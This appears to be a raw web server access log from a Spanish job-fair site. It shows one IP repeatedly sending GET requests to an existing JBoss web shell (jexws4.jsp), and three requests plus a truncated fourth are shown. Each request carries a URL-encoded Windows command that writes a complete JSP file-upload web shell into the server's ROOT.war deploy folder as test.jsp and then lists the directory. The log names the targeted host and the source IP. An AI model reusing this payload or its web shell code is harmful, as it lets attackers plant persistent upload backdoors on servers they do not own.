S783047062 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783027653 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S782986446 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S782967053 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%2